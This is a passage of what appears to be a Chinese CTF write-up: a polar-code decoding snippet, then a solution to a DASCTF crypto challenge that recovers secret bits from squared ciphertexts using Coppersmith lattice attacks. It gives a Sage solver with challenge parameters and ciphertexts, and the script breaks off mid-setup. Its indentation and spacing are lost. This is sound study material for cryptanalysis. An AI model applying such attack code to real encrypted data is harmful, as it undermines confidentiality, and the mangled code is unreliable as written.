for j in range(0, N, 2*step):
x[j:j+step] ^= x[j+step:j+2*step]
return x
# --- 极化码 SC/ML解码(BEC环境简化版) ---
defdecode(y, frozenIndex):
N = len(y)
uhat = np.zeros(N, dtype=int)
infoIndex = np.setdiff1d(np.arange(N), frozenIndex)
K = len(infoIndex)
# 枚举所有可能信息位组合
for n in range(2**K):
bits = [(n >> i) & 1for i in range(K)]
utry = np.zeros(N, dtype=int)
for i in range(K):
utry[infoIndex[i]] = bits[i]
xtry = encode(utry, N)
ok = True
for i in range(N):
if y[i] isnotNoneand y[i] != xtry[i]:
ok = False
break
if ok:
return utry
# 若没有一致候选,则随机填充信息位
for i in range(K):
uhat[infoIndex[i]] = np.random.randint(0,2)
return uhat

CRYPTO
瑞德的一生
从DASCTF推测最后4个密文对应的bit(0,0,0,?),按此猜测有:D = 0x44 = 0b01000100所以可能存在连续的 0, 0, 0 这样的序列
c₁ = y² mod n
c₂ = (y-d₁)² mod n
c₃ = (y-d₁-d₂)² mod n
c₄ = (y-d₁-d₂-d₃)² mod n
对于每个bit: 如果bit是0:计算 c = y² mod n,然后 y = y- d(d是小的增量) 如果bit是1:计算 c = (xy)² mod n,然后 y = y - d 展开c2和c3:
c₂ = y² - 2yd₁ + d₁²
c₃ = y² - 2y(d₁+d₂) + (d₁+d₂)²
计算差值: a = c₂ - c₁ = -2yd₁ + d₁²
b = c₃ - c₁ = -2y(d₁+d₂) + (d₁+d₂)² 关键: d₁ 和 d₂都是很小的值,我们可以构造二元多项式: f(d₁, d₂) = (a - d₁²)(d₁ + d₂) - d₁(b - (d₁+d₂)²) 这个多项式在 (真实的d₁, 真实的d₂) 处为0,且根很小。使用二元Coppersmith方法可以求解 用一元Coppersmith求解小根 d: 有解 → bit确实是0,更新 y₀ = y₀ - d,继续 无解 → 进入下一步 此时 c_next = (x·y - d)² mod n = x²(y - d/x)² mod n
- 构造
f(d) = (y - d)² - c_next/x² mod n - 求解得到d,更新
y = y - d重复这个过程直到恢复所有bit
exp:
from Crypto.Util.number import *
import itertools
defcoppersmith_bivariate(poly, X_bound, Y_bound, m=1, t=None):
"""Bivariate Coppersmith attack implementation"""
t = t or poly.degree()
base_ring = poly.base_ring()
modulus = base_ring.cardinality()
# Normalize polynomial
poly_zz = poly.change_ring(ZZ)
# Build lattice basis
polys = Sequence([], poly_zz.parent())
for i in range(m + 1):
poly_base = modulus^(m - i) * poly_zz^i
for shift in itertools.product(range(t), repeat=poly_zz.nvariables()):
g = poly_base * prod(map(power, poly_zz.variables(), shift))
polys.append(g)
# Get coefficient matrix
mat, mono = polys.coefficient_matrix()
mono = vector(mono)
# Scale columns by bounds
scale_factors = [mono_term(X_bound, Y_bound) for mono_term in mono]
for idx, scale in enumerate(scale_factors):
mat.rescale_col(idx, scale)
# Apply LLL reduction
mat = mat.dense_matrix().LLL()
mat = mat.change_ring(QQ)
# Unscale columns
for idx, scale in enumerate(scale_factors):
mat.rescale_col(idx, 1/scale)
# Extract and solve
reduced = Sequence([], poly_zz.parent().change_ring(QQ))
for vec in filter(None, mat * mono):
reduced.append(vec)
ideal = reduced.ideal()
if ideal.dimension() == -1:
reduced.pop()
elif ideal.dimension() == 0:
solutions = []
for sol in ideal.variety(ring=ZZ):
sol_int = tuple(Integer(sol[v]) for v in poly_zz.variables())
# Filter trivial and out-of-bound solutions
if sol_int != (0, 0) and all(abs(x) <= b for x, b in zip(sol_int, [X_bound, Y_bound])):
solutions.append(tuple(base_ring(x) for x in sol_int))
if solutions:
return solutions
return []
# === Configuration ===
n = 7494062703769887703668081866565274579333132167014632821313548612356114287792191446305040778987677683423969025588609780586722302041792065732461222120206217
x = 176589407974509728660827257088337183280645510941533692756437851307282715528543669659120503474533510718918949406280646936944629296899342927397139761503564
enc = [1719131405161789300725716547614879725769113740628924228040533454917595622840903436228598969968521441543327057141589401318966713711269892553169244263117465, 964113278787679232296826248818761720259710649328239642627188771651887183698074369890065312129654041092751189904383511692340770351754022502563890149659129, 7180032100218555793581544809570003629664245733070965678131518584876407472850051881863073521320984755175945971940415556560131906637963087186858520080371697, 7278553181711679696938086046655211422150759150466563658652641932706121629090932321563533275034734532076001967063515644128656393602962743436588691292550955, 7071562327710704879223575342701708951735351528142781335702085495652888149086906082135202373228913497958762517436624355411885769802496504666565676354985971, 3413965163746989076799750139073767902883585409040347485175384880698286295086116450668908874661042930824632513226077293241606579860623548134540683517014908, 2493137980419237578727401577689050256924458164349933679492226475837903464940854113255706502836954377682774302990058903802342341709302505294390801418750725, 703749624169528649423172151303101271192646139978197863166201332808455945099668517680963637470919081711543250526686176341295014062217859435692959000684769, 5552777372006623762153637976206247373873064461567116514205583015221459837217534008241238757247008799091465340261767773126491113196555017701224186953871694, 918649881529006356022520486484816231512805666160156627813534426042413247168928588303906281917327740699957845171374473789655487919668241329243582133954931, 6285703978527192585551573159606891208930436794516107083852218894119508169694143877674524233655827715834164790920008898708700696212875308975667988629122600, 4565821131595301933027502011473548351089153049383736095377526401155102463159616751554487101099963154256032338275289954196137233514236675026771669397448591, 7354028408293897066124750524181484721476818972892986974136543818332765017277627873430403568253740054915458886382543189082170087240348487233398435732750668, 5370948506146077094477619584844164469450740193602636179774449455880127521628083109335128118173115534332610858463108611379783295442004063901920934588114927, 5264618249900492494641837734543042035149108592251970720538191486231178008150113960789983442446591641558872707125645452698961563246034360954061831483647213, 6513125139607784795945254209394480461700344202765834488190356889718379145623802939872464483348952974980390526647516251481867437041588167465850330579763279, 52620337023290013903914225415366398097451588140952655430359196997791680150602457532377218858805375839418974188909630862874595756881940113579562243211345, 775093554420559931175017266481645409428391257845026491067921163052421942334076885330764957368346786383962145902618781943739922097363252316652283607626263, 914048088241148826108371208942589405682469984630917274361586075697273909186257822025064357297723973525670314758846319856122628945064355266653202993561072, 1718758485465991841245414039195480938522644294472549748650221527950476049304595476485962732599997579150503368277783583981982889346987154927101507640880482, 3799868282388836525794433906036101559515644339038944651012322840059136746763222453358260146393852798092848063172360236554578223426132040539709695100381135, 3541865174568168697294834871089000487969014255500915579720513796774493370375651716014189600846999507589235976876008482115085123321108899283458508107510708, 6000111495661651346419232325628380353801785608433408743076908483918697534471280088938990190215957446604722506848253899718591876551867311203096077403838985, 6253643173046003965172103471353294842929872969494447058212794601954925177820636419552603198473445815972743097407679550852152643053405332612211745405332236, 3301079724821832397643038007452730675302156610908305347778741871384798374227946277783451519330389318088909510147809102641775328974699514390298731313909687, 1248278146668201292214327233268028972221372405786614328994300795922144408065760109909225108349965423934399901773817666437324209525167313013233374255490341, 17809989234426531897711362063266000858036114386386437955591948165647126143714107280698225084031485609653761182599374776216415414615725852044222386846495, 1661946354409283005503290687407078585313095801544853478234539059133082174146794355063441110138389247071025068313051928793440081562801370934061220659218973, 3481251444257400845597778000348529981407942860518360805860568277796650499062181666607012363114372102040179799153809888913119845876313769471779340858338876, 2969490420318820259350531448006231318278582262600049331743678866118050880783483645642510041073429073243453725770720706320332268044688750661292078028979335, 3746865059857437818811880344927694504919323866440456997581938615029691388341367848168362713237849327709450905392250312067571731330018497478067686594018132, 6414151657475702425103553484192843477569332767732269426785411087092730270913003364189614686242850187047986876258300960693169393750824177216508529662234213, 797558248081581269791936744046534433754102319942346494164420485093365412310220705062195475643430216836300501373037514530383745068731206920391719336107595, 211290089421069250441951189931336059679623894381773377988081018141988531437338679750645077474735601860432864842281371819708149824891948519030895420519030, 1794231920218065197933780116555108090284583898967611429728593823431793820927924520874618656711221536385876735688904568658652603348802173053969712727002386, 3268939580240611859647828123637929700992292317648760631515072489111975481961917697818232907939233298118646952108050134720023102457396554791758521988029264, 2910400866406729971100645087368695425677190058682583258307344966890785684989660612007133955031476064701915897780213369846363057638180652762644360056492393, 1753634247360680748520396316679919584195766557657458978557525310876515530033205449036099346746308520147633420067552976918114250433680953921765598314180983, 3876905776705628742632932249284622473357566092521460519013655727145234003433056636813923927778056586962023594055056861628544916760223760117474187444496545, 5959757039471505023113810701594324587613979217054687328781590028292142374208795570511709097095700111968262827984916208477693878444057263798564347709888202, 5374212474448450659724052626650430405673802248524884606302970663761976182941855505391179280755676342662418610617277668670474814168416896429520313939597767, 2055896889185207571213280393315847560444046333513466771957557479078164806187564643168577419348237799621057031775648293598347733861490373182820677381378382, 6084180500351180667123078393533693640255690580083210646267468404882571183094540661640084049762845414479154593898375602385822298574856183074850792911106475, 3373312774563093163010129680151226058105319897529241198281250691928195482716352650367126227218466856118453618801529505737903976091284055911347689061302750, 5600613756600329901263575945885648357446016071302264740790132322511618527641942000971067162511999091860865805745249550461955543014240889756869610044386830, 565945146556577370175269421734632130524544950564185000012594191146156168497827802421464428023451361587487129791827715132740776489947656482876818041710395, 4419359702572617933720973032897202104646156281092165587096093691060322910173330285963896187228742075336248059736486715312182113162090187842887917225198105, 6732924059366668920894385271467332116626834821924295390130136750095051875943650636754241219922832137028249995112017036271155409562266791406988328139570914, 4495392885128829930220662200671891479267861280799207451437151436346621655603861139464288261571103158714822386121519285152743695793865889942477607602335718, 516191395086928212766209551469502961241039772380081865514258427895634350230591557920648679951263902670998816757819699890588888029203352232210221754736785, 4146487915484179974920534563827027195707813478625722951261821711910606845153039576521959101508563215765201044289048428600908217925837652310124915510341932, 3432461154387141838854432302561862411336401854462422257017481125487610204007668654133357657106930012600550268131672691788212721805565222845238288446619087, 3601254026199630323639535442605056670834549469220992976345167307635004486606724216487154765164573243066829330632733535122894678992653727052397053986132826, 1618063488973978707067053379809094677794500564413909131937711646498014134984829972479531757101147953755592304581380642611170793926818523115210707234712044, 3299106147405405908279511567977405684598081731617232933690852353587668822362490176897266329385254166643165981901178981601148310259069261270946712307052287, 6846858880481923863775499748822777630389003917575860624692860915711629300260394413803865317383341262667738631584376587860442474485970911811441407998869505, 3215680123677279767509383928448414910856154132962428054738233887551725977011900633509877553773159881830993305654759486684559926162336270761361352903248906, 5496469100230626535889840978610193061034187786011281763132817534290427827123490940379914187047736591224080465866972686806917004455884875885392072705136262, 2864050448866689851550126165042634463286502493605078932118550500351115607434286505518309707879537491758153292649368748959232286095713413881178866211306184, 4500794235021983581118801298719932989859621658774316125080804907737574170999060405545603577489994073878810075348075173731946880543329899745443548732444876, 1701258881406817837344122213432825514317089016840026389777486407711921900810281151668164504886822337041945914284089154555311876886738916586249310394242144, 2984171462545577867693527742598733850500836872522276155309752203056132077977619491102054726531485591179847361987296235015922863770262186186618295183723446, 1998926203120106981499354901600209873092892311318255853016669434308301371829441087485487756331320946452792335453335927680373337041761159842898915149201179, 3469492629999069000683776994430893428957909349310623249977562094476709953253742271332297853445535357225146261322101259474378435384708678748415720242467540, 3349914475771629308828905917005193744238305669008642078094341995325423686776721646729474139382764356959059181003457997283589709318709203241867049163256581, 7468392128544523237775713086484103908765148777703251720272918323202486976726742964761491640452081344737220655815645963181061363248298874559444900262714573, 1729266554298711903381745052839477316871436688839679347808674399146779681916568119199086784315276797289562994666044199187380582322617844969124430814454548, 6228538620625194287858621303133971552150705646650758139647779023432126427549820480427618151324541658924957545324616066238824061705745633641214275957991081, 3546839468720225332704665245411296743840905483219842481039719851980894104931923459881724541431075969186280998189306821850975671317650029607773347695916161, 5003551427084428983200151485032425697792005126337901966755431797351030500718183179132025845871647589818441943961234639702209617589496987864848129100127593, 6643401571072392628300121738027765343357360200657797255110143010788618241485245543978227055741141818227818343153034503487586819791678669963057997929991784, 2562918413517151253133047147553339218659758059455474492224243333036381745640439788034759400244452717377825285968188174779261990526295746984726199948357377, 7437872392009105990711193901375305261532202846600610535045509813031250270429778869989270561580501500053229850333918780287345929478293978347645384915059905, 6850572829594419931082710249610527681880536306821912519718049378340748365289283573389390433493649860281921041642014059014544763795622118890759757777078249, 5391075547621734143075000188679602652140572736807843159481908765322403510781102362672205531750495436812820132672226065133195582321646835642286378831941543, 3935125186916665518328217311726809099639764144566121189586832906641425799098767258076447046528585648386651376836505914154172263924716118916975346746484099, 4572088871540278868361905512095201060151895510763732328882273392847208802234202258956786836058932994420932737481854686339575922886423137765225784049712773, 2262643703371965676721577847097874053651347517824305607234082573017945386641624532722022439799966228277016547769814923059355040626796832522381865787641290, 2092350463144324366602244022289003459109077119526268364543250731686788098419000629227383382147140047995570425746800878972214312249056004421397989221181338, 7316680967185838685819431514989962013693801413153393375368271255171711307966620721060733924670697124665299505476656849274808551385135203863367484594415282, 3992707215646916729947167763158938832402267287149607401065208090606939456846897741262125062082608028914675505843323650110360837429016638270325538346446529, 3069746271933542384918749040106031985080879021375771977808787824764440797512721099584567534097066479635471475762441199886178414827079781736989960199117761, 1766633502410468840542337696250749470477723118225887560860892798969566958310115225512339080511591120596372154776271396511188940759539840806867695088697687, 7422176702934281594092464214932251290119989126208580876623712378595196239646922555040920923651335839658719813178585655273281566581347270942656459655633831, 1076250672488724366299364554828924941179689773925009019426859578123703178494639141377582749659649879771331267946731559750959047347777630832570175900797396, 1410907054396321048600218685349536875889137424876811975163068514508744181288075473743359405875373746597490437227185497238385367523145376472201142188317007, 1399913830686011566618870183203250354810701185080554159064967796846290561704336488321559729397413774978460864013425684578017379091810583345546666411795427, 5442664420577177620905419312024116329584632622515715585913615715633055426416008950934670882398446114586893092091857963411004865110303405260629693479911547, 5444954789918365554465548204039461146997193180749209395789901122397246308255827362981351771251560236242646255496804381448717329602292037192555016677597049, 3692498380370159772309045715435436241311628169449536956138346402344911382662589313178130546965271962111797201610136351183369686485141336803226085619418804, 1661763472840328250526914905015525414406950272006598484866292191029914199500142371574046051673263254115284188720822715119568858243297684058718905784007684, 3591970782090757037238666567970281294829543992746927793222143235830463164152104415435233805874218282003088257755255830086210161671004004657169607587797031, 6408023979766552418323731655071232468814820721387864760342245227191599544467260453668301692632258293269233587788621263414509088714249331129218692482482634, 5107805331532175484179055961952547381531796475066432203418372765456840027280422837685555493805745435808655780536058639621407087913202784702495464911546300, 4797651536825295062608601255174248375502070662844324403061332457315754966507899734291832623874042314773932234723903300304673474844878044257723908663143633, 3381383877574350137522503821651560196443655576836134099019270524161940339533213692251540628743332895341002631990265662425131251518493693690750762808468808, 6958313731633073957446795849813233488765978764962619450590198540106777161715713215615033500808990591065365646295188315739669894282317319917228576278018406, 1960896405831292842605946619322834459362478823214925598149312724064328946214721789578814421678051144409236436766449112453593003328541192215192091933636734, 5632565434189438511307970717039852422184650151810607594958003725375385054015515256694405836817603452184736804987152881592354076205852546432030648057787591, 3603573992862714326961608272055291746708398966644592880817919800689293996666084571360391289272725497533046437441348306893175193890447914165494201524939611, 7474903502691814215567498428036645893505450281007799941238583338927406722102074074886778315274903489297377307154589449296202274148415972995482124963310378, 4453834861530051663457391436061966674036353387512847924098267394664245614544771920533048953529726769319902426772202891922371527902437458995604135559897851, 1102786889014137499942575507239978485536138217014375582488960413776215256742762391575571866269018253288039614227206226202039543826442945749886489020760555, 5819181457783611322733307742961052216159362723583927036792457371068806372047511415871771095654975468667138447780552955555513555056638821310631326088097594, 5350783653088149702130249422975425885358619638687285801319976913799219400957008639254989350379956422983174438616208248304178124943482159284688856427882476, 5407975892037877366747748247782784942626359392474490780401414242364609402709342063455017157687455426515562553403339115651619199260531719653695957995846884, 3794517216114524931330568036328063154438742706470430935271654450101636722629201788600435538678842639282204176078037775374577552489185921746586909494709350, 4813028683812337453439667232870428903347796255558450545195312222045031131530622492027570707117120567406833197112818961728314990337577549922000049162253026, 4168736532607887316867349506801730616149871937845395236694642506228574010442218053546084300084732240913201464341954608314193461339805167148965648305420065, 1644304673790151876822988473398685569445274466381097877774007588201165178580712478468318447654023766385962993642034440933486990087125016522481841525554418, 3272323811435548017098544676604826007281263207819707608974094419359845453827034021810308365205803808699793720434269958662733173559568693626725823830523951, 5113801222212223501585351730986251406089347057933870761166300252137101694946534210218482910779905716901903269585780429909114166918554650475679698939666960, 7367185236608014997144093713637831607813060347567225401435614840750615529359174788566627712415047019096391395987848751359211444320984364229040264232250347, 7328203064198766407620423511688647756732110754940462554167359942514912469472984874557396302639411097192166622739582506684090980853183532355356052013342850, 4523437218949006375173147004821491515506102502361607007444566307575381985145543164175889101976649601833859052269744348750790852031674142142321082080085374, 4273724505478240709533318976927602969075241856805102930644158874077102056271888560132009557308681384622946139372093763035004181594255612915451147736163922, 6633892462580042565075916146394014519934031456492581582696232902841995103321193422188963008664195377729749850289925799058143308539926631025298457869995251, 6169509944247962483385971098172418516592483966802035575349146386090325439457514069888832962415975113879881882573914698994132676970153204571161798060426959, 3256285626248446069935491899723799034095282472203915097687613854820767136629593585466663358480862140720477783952337168780774053750557343432373284719605324, 6331048185438636381128034307611846554199395294157903145386120516890114507132379097517463425180202574846193494950209454453553632205650001493733796628519904, 872181738403065361439465891100646927249351162552483924373320861025554171774143898435330437623419172431604704073899981678143805063125593789710949875122516, 1406480544629309137345942503005833292510530606658754179375250810785708465402024768464574239863242249391002243795549240771838259960328505710236917365602769, 4020383517365233059652253581665251883953184234325259330945739695799565543827794949986727000716633411556662208246902665789611951648513529158140999200113024, 7346076089884028559213574134808525732835095306489092835918646066756549284164774398813938145931120912498453579901815220219468490650593937084291990354288211, 1008972434939439799331810249262929830147469066388391203665051305919048565370719225975124026561354338584744357462875437960517547611547607749587446866984935, 1138122237018236024935463826962583703013383242319197251197782587764218994663318123794558118605019789805912019355702488748683288332172316540925168750693011, 2885036516023118722030225530875914783030452796945378973822517308409880007238921004962651806591949710395931071204946896956729539921657348605524380894930856, 1174919165709784308313801272529063114770102638642632279330761419309844157681097269146632909060905564422190917511823912287330982603321715149175424540807952, 1822172277602306307918505892660741934416829038575877346501827396986090046799230643060549831664309656676810862706623935921947091407228861553729177922296318, 5798551777325590632177977920490032880922603263787513188996760608217601251643800441987111233182981986500698853750265906110850519820622976320938277809651087, 1631039142231125671063485591884891109153446082339835397144824990636459540931037399276151130348668419063784251547609053785203594251895728982617545190172625, 6822585018808395924522283374321949362419741477559411771776139631041068953146298150241412984989810280716688415214705618585831740551540546538938751840941920, 7392532999825772747021016705769857947580453970673977933293475059754713255060925594043184430406915634257748695843801122758002808630682607391762847322966347, 4200416043633707481976635763461864075711000129209355574856577928270114110650472059960184619083933076056361124269826078226332159847946066219525572748411389, 5831499177680618517701718051808100176327261455306947899404567341304172999546796257242430716284215830378313170750113495900378450488985702527654573407591604, 217382391939302040990707847001419780554662478483941291607895867830194763224547323386206597668684960652790216684122921104785843850008974226089640615359588, 3563421241650880780082226567511705159836428557509283040300348054001847792941943033492209255595342155329311556390787151388283881020228395873713082890388429, 2834501312583471840305615819185051972323433904228846780534686268394437510952673347232865988163605618916585394772423752529382564690787164667296165701431097, 6868235591701962890942206085524935228181359564049485424902722254715745788451657979258980320805294461759383983309768035909047537011184542354343426226535954, 2772923054484873603401843956771430778727396268783883521927369969604621326253333175756879115590603548737490996783800762012865049710708133535816778453037797, 3622892067090536628337021012065353050269995872027790907041571871005896492558194343251769120410955308732501439323843012189523634511537530174600421000324152, 3174382616868334923945145958891531833810784973832007567638313125598593093295762652554591142635749155979753746488256396393014722030104836291045197465838874, 4256588447149423373516508900510905722182922233502507560440170423785411636330486332004710720420308453508981146707491199490587821515576748623301614087560564, 1736287477504227757504390658454291750300255766127813696614904571418247794506916009652664930087502577299347386893027620051682352657093167964886525901374421, 3326252254728387004599613046242779602412782347654728014950813737896800835206483664278000869822394572439763801102268423371282992356160440168810738590406525, 697910014539157236690695873831129300538900674883953291931508969476426457003962295226591860776440915513707907151961779292122853870463153483378009272618702, 2301211850580231081276758728582342727269395486786405951294889701663387598840276569902515897473453845027548603307049976566142946803424132635663886899432250, 315134629471600303606805305663881030546935294375038155917587099756091620477632647493152587633141267040852979734177862014845266092756864325812651667377650, 7105462121113915447812110852869002434387137111948584715566548923138131722450734296424572169741302092574907865287898578058110758999979994197441828438056921, 3300300591377886134914089272436825439726939308122191385395076321727068481400117340100390975845421186013797094071096642022701305779531240082056215170691907, 5209908581735885427030041366511127166296746421936096315739932763700621371081873203540124575726441671832663224261941004139363982285656624124076705570886583, 1154686459877886409675101523833930326905606252049963846151357136126939551475321758632100365527303102685404974694677599534847589621867621089770303699361285, 4768380791599822404044581653236224254694100631155418993737177544254889720459051883461358041571437042827894169852906850161204129565226838809765484772609831, 6519272360175262368113444254043218251217473485512896505557613922384188172491962719027588019777642497760243610433358337890526001529714004093998089260590115, 5539053249581890877425019909295492880000650434372972441302487949521423968861816558288431070612199580172360997204812583587269469469582544485916148352980019, 7180725493335662778242589228754248140612619896535054327216184922710308418403398518192440627395933541113479319874938811558186010920295694184045531485103301, 6439652947081203383226127185295273926558072564125585015396134417913331369040663238840768380192024806334946864694430434463548427598694769442936350810041659, 3245465276930424842770152552363153855198233375845821016547134156655891546285445242176777250757720931068083764965941212175322427899699774443320906683613429, 3330671010160974790941557013449713059118567356889116146371058133454602203996735161927560264154595456566285024657648571607105351387609456058119560350941195, 6821986419382358618871417612473438529471138091490778402693730492154877205917973035166251347694136203207428205689479652787363100732238063420083552446912260, 3973076314115837840388612845250760051181878076099196039596384407984515672700339516672228201427593379397452187399110835572187888841503596454971054349648092, 4936865509410441306003485456654600435810022782089161209298988331334616218685789921793418818836113871635837564047061992457013576475065200998084352420428693, 138700503419145956820788052657317918621923476051057398001983824874083519362023997368500147088665561211553435550394279482027931753726863922667218079958354, 2481786561756785207325906602147091808842497737642832788362792587651848852965242072409069192032646439501804678207202584354714469099159965020749372900819062, 2572966397365071070654120221944623158532775269276617023232067395512962802028977605646853130003871292401009669087150435707928913057761970531126725262527731, 6324132522312380727155066269548600361416732110581522652127899259603830770942464277650267364774579111002090549542565838880699852117422754835525652571111849, 2339251080737087010136154732037704737484014327068033130667640873437734095410095181193334660070307269260017108710970839423039789699516243549061662798490748, 596692309016675332246236030453828565625198232854941478287361932536236803232591604919152974295482597894350887233951933917242763428364741059557194730860867, 3231925023788832994639927822147159988469722574330335702382566517642756463720380913469258624450017736103858240295434431615794944500782164779140509374498292, 3706194213005303193311186330859543390006370237235447956684299837603246086860980931589920333787040703883765235094478833134950007831634936427977327272441677, 351024256493381590147178467314615210963956286682422412361822273493021814307927189899504167964982069941389869877771567529961020428594916729291351164766714, 5527906213702976931482774431672879512905804887186892574131908318992828241389901891585393350658310205639068315074785520510255856601931455867600239963166247, 2017076351585850676928548286482304434260902340533771340947124642362498045552976855585229734403073967099459032309056034517546496946485569947711672936232251, 6606391007643552845461410755750177103306894582904290466795769413855622944986111330918202181514262456259757426756554119919437597572245458049760121890685483, 3976794737583161555378790610288650216881769787265598693932584021164001340767600778974044896395016019753175398434145183346770881863807773607083321813152146, 1976570458025947190299436162893389666532602499144231965436624094292400273521696468612784292454941928317981225222042869102889153436884226004257306664186224, 1333572090763864365501788638833125474321640098421570543062623326970047533378026300659852738096446689374149500630940056168504384744386304121981986069074738, 4094376382372907931741683043621776016252091214115739978474741756393227937159593280931477025956477809531851227977187097210602357391255622982813562462642364, 6264383009683115307078394260047246870295578204759486788817491791169929708179029358066449000448698444449475236674501117676412946172614530804780574420628105, 199137086262687063307305416689167530127371905785989526590867601812049713978470802038076806024081100770722011954217193560464525063012271013485100046480434, 137370596585451885626683935778032489189662999701803014246673300724221630285697975615640788752297655925153936704108286838378712159128589227953108892839067, 1675200126924372537477404902440194684894618968086946292430615595770747465326052214117955845424144297606123329226704863582536702296456881683200467264953084, 920430840642252596014354586324532907994647101175450197778140838389450328950544750243919593649180694276270146041567020826626028986987527221446993999802488, 5728938330179054856695709301384161216687482774286804119491221949127809397170831911448918330662082491881325648917471998112751914425749543963813560036115462, 593719328270634636680020982754644279380725204638837460008530459410091974477057938651905935975022823774038282566052812040059930960095036828109547728808244, 1643546173278799238464393279676091384769967683609512488490651937924603308582697230534481193558624001742810286664081883578532841792706230914808086867461495, 4950051105207396429773774428166075000334954821837737397232251436180818678710199211724231773966528636362313843123212954531465462181993269072316970641483752, 2321277584052677386109144043102555431537463526323344804107445290609657090933455927487364656832031958873005142137183551206203381350955112720970983629475684, 4579436233520661038161884029091970187080828058613144386236685859057904033991019280601043878403765169660457722265308860322878865696640767650494852640425277, 18906136137848496579324560678747031381788029072767996841559376494499137524554845226393032530233707147980671422307838425424818115436891501593223022031827, 3649739447103582098076238608317392519612960237580342548776236425045996900841506099933841198429337672932374664711953830865692945603633311211804057613236324, 6228248267252875664628627371482930203797923900755249884900489349175534284948790784868686455242930775996109784153985021962472756596423498541138085487322723, 3232259016167568396088636124691186778872755608979528475941705605372538123982530089543735943732668890939456701500424525813466899287571731973313921868984805, 5230180726800777097714472558016559715011581240550241042117243307455060250183937192110232322958177161094301709569356532188804008960304943709517659100012009, 1316182411882810585716069785492527119939221679926043191741779246579486911220519569558733014732939798403126398938304154350259601846917283148808746705774112, 5171393541792955967386504096724384486848387545027162506058824561994639378771299850868388303197135071554546442555505669680390535567513140238066731199431524, 35024069142023136144503873705187851775772996841748742043201622416528228333326846510775142995357882951453924641801621144372669846361298917545554103413182, 2137302852938511100617562003058664983273624114396214242893654581723221516655474918148779088953177782808419941448719984559118447096665545427696709937842713, 209930536158403353785934337280825398110386976890317925283707497575319531810780655757933953255645828866209390042351830836279337190397061501517408059277687, 3872986020267814657409271626722062503718111147627634098489147832056854032602800946436266352602142926616365232206071229597298304206045230548365661951077522, 1353182967413395061816484502209760000851237923728283774521553129820727442479338500131723368608904090168808192168529256743509840312000677736865380507537597, 3989012311734412151789222401298139163313553222907339266222343038762544577268515336723689194007193558263264033766563400869470061614041222467740729897778945, 6657934627409610222724351577670649726837779633184629144454851695438238638414565047620038308540585583268640359657949347136804823986752924495443174820297207, 1939957578240465449128685156366892125093156232541825538491850379716359815561015886172690604751039310402525340002812702097520600710037750287074101266805367, 377509715569111235799348790189128852911568008132618928612437037657021563709052313331430741131984546631013729797441300895357352523422174174809430228688926, 7368177743257889839799014630889959868082821591970785238021132865083837866069262950226618481068147023276973364092377863002882245295200052579960501239119196, 530830086210176067129258565875145262804901495700273204508256051933953374358572473802632052068174957448979978484249171505601497376201648157539650093189283, 7376502080925571165446902809763768694636061410762198687423828839330038942134761149049375581034657573374142320225725569977961901705450162870025527855762012, 2116346943204098782880885073913590762111226360036146748574267130728082070017266442714183443559725139912906721658381591908291299672511209398838786833026709, 1199777635466712774822205543754218307068664346791144786672662649003222367801203289358430843195259606424099228487895878674265477055329794956881054654716026, 1065047154492119587809130315926266634540312877479768838833721668340501716669517402638318223576664315605450627948046791863572627510566106993841377518051440, 57633491995533694973891797097577071270988915839965047519210039437757302634275399532642415936872646564776006731728624721483663422906045459777596215800302, 4387332259562199732908790016236494236575320110997164079966354117865561681913540018569486901341373579954728471417127066360146207405700122791914392223220374, 4912992173833881386838621974988117654635059839417714188337830801866998890203701279633706380019338050829956062780063083253085600338877188837462216423352515, 2131552631311009454861522771076696810466488782774072213678563451902847619730588023506731533122367751487975954054356961940799989994662298609806639374383532, 7330743882131510030850866494412341449415034749906932700942413372538363383327644179653467033858265470706634932159215618772560940313556355863046255441278467, 870604086459655029733256817860700701454236753458109416271222662286543283512867597595372666558165665232229331184146310877052169182296521503123019337439263, 680872135547510243494174626424856445629938462451189170183328643053275121638922821950403344522878368443252128937220909347015476786456818467367664615182582, 4724755014750126366154144612549612395192354863626845042731552287761516767759334583006493386068786737770070472800073340309754898657439678009537319332588077, 7033346038932236950889937133070711679204593535527563435243508327767199339263572857029806368736783025382461394453552346779980043507060604530741699271587049, 1488758945001976173736074193268523840116905967041374845299947176295647941623801576745116031908900162845435819502098566854672304706945102955494986567499180, 20319243686071492650906176986595192356910885022304521348362003892920034022589581031001779558837253235453466624134363975636645241026288893879461704222039, 3145267824376672830793568703183954478076762941060877390697773144210967898556496681613052310152161622984166937015938600723987465406736616195115143840204272, 7065211296316310929917647988477706260854777367720509215461102227370538671245933623485253881135209242186479608112449601079184899093566410058748022701249681, 5860016308325213119819184187670239564791333348087363680942925424162694462159018573839942821488405708712369104188452455045689910694321205617267927010904353, 5645361475249093719768450338234034726485554026640026662174673396653231400488355710059780115730446487495686330275120275600041319135689492356651341979038088, 6222727452583908397253535983805821930231388306224553254136976634073410340765549319231925139894850295061726002336384426016757007977849079223677773537255081, 3696429825336147971620059489168478959976463308851142886577508477570240282766636537964634680481107690278878090696361681958754963149721829332526387362213190, 7078032688626190314737342918176972325521293294689228613115610563935693105149448353402481648280874993385612176692849105916242678776294364778167973947550187, 3270971084919614392338441788730004011100304400583583883067217490582518979491757196768783495885678619945523947283699651895101048284585981169166481963660623, 2148843064997549913740046332281882693310226949255590440580489845028047589771544283453290518792858933379819319132584513015919677339284914344995646843998048, 1291525211756946411401294509523977729530718411866377519225168221934642683496562640471014219152338552064525235942687244806796479646413595124980238537943389, 4913307250241775374386695436715632464827403720055363596619529423169293536260965648729975796127464362240516770053847194323081306012483068777864581057200279, 6678281756307450766811979928838965105333300960175054010659048118393215643476339302253367353882325289237489247795405556958386170996096189421801964924482147, 657145172274590196493597590113130464259273254304875932677515103976617144895772233827673391830935998805215202067285182351547427598777010976174255888108237, 5254189861688322883166710121819982619221538207416112766290975591655559256081375216189936310254974303785089550027238530874504313982895640119168967142788774, 4107456224332124639796526866448719803417125732966259666717527193805945662592291598638635704829882984364017372324547020897502769788128092736578440387426559, 2858837243023389958060661218677166091417324132599396589197054884499323557500626489155371785733313327379967727003385933612324840437059452826759882016643192, 6834470718220476619599192939877802960626266906218601397992141268348842750307258845978436373245888045814447365868690654204442632005537885428710943936919252]
print("="*60)
print("CTF Challenge Solver - LSB Oracle Attack")
print("="*60)
# === Phase 1: Recover d1, d2 using bivariate Coppersmith ===
print("\n[Phase 1] Solving for d1 and d2...")
diff1 = (enc[-3] - enc[-4]) % n
diff2 = (enc[-2] - enc[-4]) % n
print(f" diff1 = {diff1}")
print(f" diff2 = {diff2}")
PR.<x1, x2> = PolynomialRing(Zmod(n), implementation='generic')
